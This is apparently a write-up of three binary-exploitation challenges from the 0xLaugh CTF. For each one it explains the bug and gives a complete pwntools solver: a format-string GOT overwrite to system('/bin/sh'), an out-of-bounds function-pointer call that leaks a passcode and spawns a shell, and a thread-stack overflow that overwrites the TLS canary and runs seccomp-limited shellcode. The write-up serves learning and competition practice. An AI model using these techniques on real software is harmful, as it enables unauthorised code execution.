0xLaugh CTF | PWN writeups
some quick explanations + solvers
Yet Another Format String Bug
lets start by the disassembly
int __fastcall main()
{
char buf[270]; // [rsp+0h] [rbp-110h] BYREF
__int16 v5; // [rsp+10Eh] [rbp-2h]
v5 = 0;
setup(argc, argv, envp);
do
{
read(0, buf, 0xFFuLL);
printf(buf);
}
while ( v5 );
return 0;
}
we have a one time format string vulnerability with fairly long input . Although it is possible to do a oneshot format string with the onegadgets but it’s a pain in the ass so we gonna look for restart .
How to restart :
- we look to restart by overwriting some
GOT entrysince the binary isPARTIAL-relroandNO pie. but this isnt feasable since there is no function we can call after printf . so we cant do it this way - we can look to restart by overwriting the loop check variable (v5 in my case) . we can do it by partially modifying a stack pointer to make it point to
rbp-0x2then just%hhn into it
i found a good pointer at input+8 , that in most cases (sometimes gets it wrong in remote), requires only 1 nibble brute force , in other words 1/16 win chance .
from there it’s standart libc leak into system(/bin/sh) , i chose to overwrite printf GOT entry with system , so when we call printf(“/bin/sh) , what actually gets called is system("/bin/sh)
Solver
from pwn import *
from time import sleep
context.arch = 'amd64'
def debug():
if local<2:
gdb.attach(p,'''
b* main+67
c
''')
############### files setup ###############
local=len(sys.argv)
exe=ELF("./yet_another_fsb")
libc=ELF("./libc.so.6")
nc="nc a7b542bc3fb6a4133c2d0774aa9033ca.chal.ctf.ae 443"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]
############### remote or local ###############
if local>1:
p= remote(host, 443, ssl=True, sni=host)
else:
p=process([exe.path])
############### helper functions ##############
def send():
pass
############### main exploit ###############
p.close()
def exploit():
global p
#p=process([exe.path])
p= remote(host, 443, ssl=True, sni=host)
payload="a%7$hhn".encode().ljust(8,b"a")
brute=p8(0x30-2)
payload+=brute
#debug()
p.send(payload)
sleep(0.5)
index=(0x118//8)+6
p.sendline(f"bbbbbb%{index}$p")
p.recvuntil("bbbbbb")
sleep(0.5)
libc.address=int(p.recv(14),16)-0x25c88
log.info(hex(libc.address))
log.info('hello')
payload=fmtstr_payload(6,{0x404000:libc.symbols["system"]},write_size='byte')
p.sendline(payload)
#p.recvuntil(payload[:4])
sleep(0.5)
p.sendline("/bin/sh;")
p.interactive()
i=1
while i:
i=1
try :
exploit()
except KeyboardInterrupt:
print("bye")
exit(1)
except:
p.close()
Wanna Play a Game?
lets disassemble the binary with ida
int __fastcall __noreturn main()
{
__int64 v3; // [rsp+0h] [rbp-10h]
__int64 v4; // [rsp+8h] [rbp-8h]
setup(argc, argv, envp);
printf("[*] NickName> ");
if ( read(0, &username, 0x40uLL) == -1 )
{
perror("READ ERROR");
exit(-1);
}
while ( 1 )
{
menu();
v3 = read_int();
printf("[*] Guess>");
v4 = read_int();
((void (__fastcall *)(__int64))conv[v3 - 1])(v4);
}
}
we have out of bounds function pointer call , and rdi of our choosing
unsigned __int64 __fastcall hard(__int64 a1)
{
int i; // [rsp+14h] [rbp-2Ch]
char path[8]; // [rsp+2Fh] [rbp-11h] BYREF
char v4; // [rsp+37h] [rbp-9h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
strcpy(path, "<qz}<`{");
v4 = 0;
for ( i = 0; i <= 6; ++i )
path[i] ^= 0x13u;
if ( a1 == passcode )
{
puts("[+] WINNNN!");
execve(path, 0LL, 0LL);
}
else
{
puts("[-] YOU ARE NOT WORTHY FOR A SHELL!");
}
change_passcode();
return v5 - __readfsqword(0x28u);
}
if we provide the right passcode we get a shell
Plan :
- we can jump directly to the
execveline , but rsi and rdi need to be nulled out and it wasnt the case - we leak the passcode with
printf(&passcode)then callhard(passcode)to WIN
for that , we need to write the printf GOT entry in Username to then call it with &passcode » PASSCODE leaked and gg
solver :
from pwn import *
from time import sleep
context.arch = 'amd64'
def debug():
if local<2:
gdb.attach(p,'''
b* 0x000000000040162f
c
''')
############### files setup ###############
local=len(sys.argv)
exe=ELF("./chall")
#libc=ELF("./libc.so.6")
nc="nc 3d5055083024005fa38ef5ab28953c07.chal.ctf.ae 443"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]
############### remote or local ###############
if local>1:
p=remote(host, 443, ssl=True, sni=host)
else:
p=process([exe.path])
############### helper functions ##############
def send():
pass
############### main exploit ###############
got=0x403f70
conv=0x404010
username=0x404080
passcode=0x404060
p.sendline(p64(passcode)+b"/bin/sh\x00")
sleep(0.5)
#debug()
p.sendline(str((got - conv + 8)//8))
p.recvuntil("[*] Guess>")
p.sendline(str(passcode))
p.recvuntil("> ")
leak=u64(p.recv(8))
print(leak)
sleep(0.5)
p.sendline("2")
p.recvuntil("[*] Guess>")
p.sendline(str(leak))
p.interactive()
Recover Your Vision
Checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x3fe000)
Stack: Executable
RWX: Has RWX segments
RUNPATH: b'.'
Stripped: No
int __fastcall main()
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF
newthread[1] = __readfsqword(0x28u);
setup(argc, argv, envp);
puts("[*] Can you escape my jail?");
if ( pthread_create(newthread, 0LL, vuln, 0LL) )
exit(1);
pthread_join(newthread[0], 0LL);
return 0;
}
we have our main thread calling a new thread to execute vuln
int __fastcall vuln(void *a1)
{
size_t nbytes; // [rsp+18h] [rbp-88h] BYREF
_BYTE buf[120]; // [rsp+20h] [rbp-80h] BYREF
unsigned __int64 v4; // [rsp+98h] [rbp-8h]
v4 = __readfsqword(0x28u);
nbytes = 0LL;
printf("[*] Buffer: %p\n", buf);
printf("[*] What is the length of your shellcode: ");
__isoc99_scanf("%d", &nbytes);
getchar();
printf("[*] Escape> ");
disable();
read(0, buf, nbytes);
close(0);
return close(1);
}
we also have the disable function which implements a whitelist seccomp :
```bash
seccomp-tools dump ./blind
[*] Can you escape my jail?
[*] Buffer: 0x7f5529d26e50
[*] What is the length of your shellcode: azeazeaz
[*] Escape> line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == close) goto 0011
0009: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0011
0010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL
only open , read and write are enabled , we cant escape the seccomp in our case so our plan is to open("./flag.txt") then read from it and write it to stderr (we are supposing that the server forwards stderr not only stdout which is the case) as stdin and stdout
are closed .
so once we have code execution , we can get our flag .
Notes :
- we have thread-stack leak
- we have read into that buffer with any size we want » overflow
- stack canary is enabled which adds another layer of complexity
- NX is disabled which hints for ret2shellcode
first thoughts
- we somehow manage to bypass canaries then return to our shellcode but HOW ?
after some thinking , i thought maybe it has something to do with our main thread (it isnt the case , its what i thought ) , so i needed to dive into gdb and see the memory mapping
dive into gdb
gef> vmmap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000000000 r-- /home/kali/Desktop/CTFs/0xlaughCTF/pwn/3/blind
0x0000000000401000 0x0000000000402000 0x0000000000001000 0x0000000000001000 r-x /home/kali/Desktop/CTFs/0xlaughCTF/pwn/3/blind
0x0000000000402000 0x0000000000403000 0x0000000000001000 0x0000000000002000 r-- /home/kali/Desktop/CTFs/0xlaughCTF/pwn/3/blind
0x0000000000403000 0x0000000000404000 0x0000000000001000 0x0000000000002000 r-- /home/kali/Desktop/CTFs/0xlaughCTF/pwn/3/blind
0x0000000000404000 0x0000000000405000 0x0000000000001000 0x0000000000003000 rw- /home/kali/Desktop/CTFs/0xlaughCTF/pwn/3/blind
0x0000000000405000 0x0000000000426000 0x0000000000021000 0x0000000000000000 rw- [heap]
0x00007ffff758e000 0x00007ffff758f000 0x0000000000001000 0x0000000000000000 ---
0x00007ffff758f000 0x00007ffff7d8f000 0x0000000000800000 0x0000000000000000 rwx <tls-th2><stack-th2> <- $rdi, $r14
0x00007ffff7d8f000 0x00007ffff7d92000 0x0000000000003000 0x0000000000000000 rw- <tls-th1>
0x00007ffff7d92000 0x00007ffff7dba000 0x0000000000028000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7dba000 0x00007ffff7f1f000 0x0000000000165000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6 <- $rcx, $rip
0x00007ffff7f1f000 0x00007ffff7f75000 0x0000000000056000 0x000000000018d000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f75000 0x00007ffff7f79000 0x0000000000004000 0x00000000001e2000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f79000 0x00007ffff7f7b000 0x0000000000002000 0x00000000001e6000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f7b000 0x00007ffff7f88000 0x000000000000d000 0x0000000000000000 rw-
0x00007ffff7f88000 0x00007ffff7f8a000 0x0000000000002000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
0x00007ffff7f8a000 0x00007ffff7f98000 0x000000000000e000 0x0000000000002000 r-x /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
0x00007ffff7f98000 0x00007ffff7fa6000 0x000000000000e000 0x0000000000010000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
0x00007ffff7fa6000 0x00007ffff7fa7000 0x0000000000001000 0x000000000001e000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
0x00007ffff7fa7000 0x00007ffff7fa8000 0x0000000000001000 0x000000000001f000 rw- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.5
0x00007ffff7fc0000 0x00007ffff7fc2000 0x0000000000002000 0x0000000000000000 rw-
0x00007ffff7fc2000 0x00007ffff7fc6000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7fc6000 0x00007ffff7fc8000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffff7fc8000 0x00007ffff7fc9000 0x0000000000001000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fc9000 0x00007ffff7ff0000 0x0000000000027000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff0000 0x00007ffff7ffb000 0x000000000000b000 0x0000000000028000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000002000 0x0000000000033000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000002000 0x0000000000035000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rwx [stack] <- $rsp, $r15
- seeing this i discovered that the thread is mmaped memory within the same mapping (the
0x800000chunk) , the thread also inherits the nx flag from the main thread which also makes its stack executable . - another thing worht mentionnoning , is the
tlsidentification that the gef plugin adds , from previous knowledge , i know that the canary is stored inside thistlssection . In fact , thefswithin thesub rdx,QWORD PTR fs:0x28is a pointer that points memory within the tls . you can look its value in gdb with ``p $fs_base` . - note that
tlsstands forthread local storage, which means every thread has its owntls, in other words thefs_baseis also distinct for every thread . this also explains thetls-th1andtls-th2invmmapoutput . - we have infinite overflow (if needed xD) so maybe we can access this
fs section. lets return to gdb and breakpoint when the vuln is reading the canary
gef> p $rsp
$5 = (void *) 0x7ffff7d8de30 #### our input starting adress
gef> p $fs_base
$6 = 0x7ffff7d8e6c0
gef> p 0x7ffff7d8e6c0-0x7ffff7d8de30
$7 = 0x890 #### they are very close
gef> x/gx 0x7ffff7d8e6c0+0x28
0x7ffff7d8e6e8: 0x0f9195f8cfb01700 ### our canary
now the plan is set
Plan
- we set big input size :
0x1000for example - write our payload which looks like this :
shellcode + p64(canary=0) + p64(rbp=JUNK) +p64(ret_adress= &shellcode) + padding_to_fs + p8(0)*0x28 + p64(canary=0) - theoretically , the above 2 steps are enough , but the
read()function uses the value at fs:0x10 for some example so we cant just overwrite it with 0 , we need to overwrite with its old value . And since the thread memory is all contiguous (in virtual at least xD) , and we have the leak , we can get its old value .
solver
from pwn import *
from time import sleep
context.arch = 'amd64'
def debug():
if local<2:
gdb.attach(p,'''
b* 0x0000000000401432
b* 0x00000000004014c9
c
x/20gx $rsp
''')
############### files setup ###############
local=len(sys.argv)
exe=ELF("./blind_patched")
libc=ELF("./libc.so.6")
nc="nc 9ccd3876682d4ea8fcad09429d5797a5.chal.ctf.ae 443"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]
############### remote or local ###############
if local>1:
p=remote(host, 443, ssl=True, sni=host)
else:
p=process([exe.path])
############### helper functions ##############
def send():
pass
############### main exploit ###############
p.recvuntil("Buffer: ")
leak=int(p.recvline().strip(),16)
fs_base=leak-0x20+0x8a0
size=-0x20+0x8a0
log.info(hex(leak))
code=shellcraft.amd64.linux.open("./flag.txt",0)
code+=shellcraft.amd64.linux.read('rax',leak+0x500,0x50)
code+=shellcraft.amd64.linux.write(2,leak+0x500,0x50)
shellcode=asm(code)
payload=shellcode.ljust(0x80-8,b"a")
payload+=p64(0)*2
payload+=p64(leak)
payload=payload.ljust(size,b"\x00")
payload+=p64(fs_base) #0
payload+=p64(0x0000000000b7a2b0) #8
payload+=p64(fs_base) #0x10
payload+=p64(1) #0x18
payload+=p64(0) #0x20
payload+=p64(0) #0x28 our canary
log.info(str(fs_base-leak+0x30))
log.info(str(len(payload)))
p.sendline(str(fs_base-leak+0x30))
debug()
p.send(payload)
p.interactive()
good challenges , especially the last one was so creative . kudos to iyed and the other authors .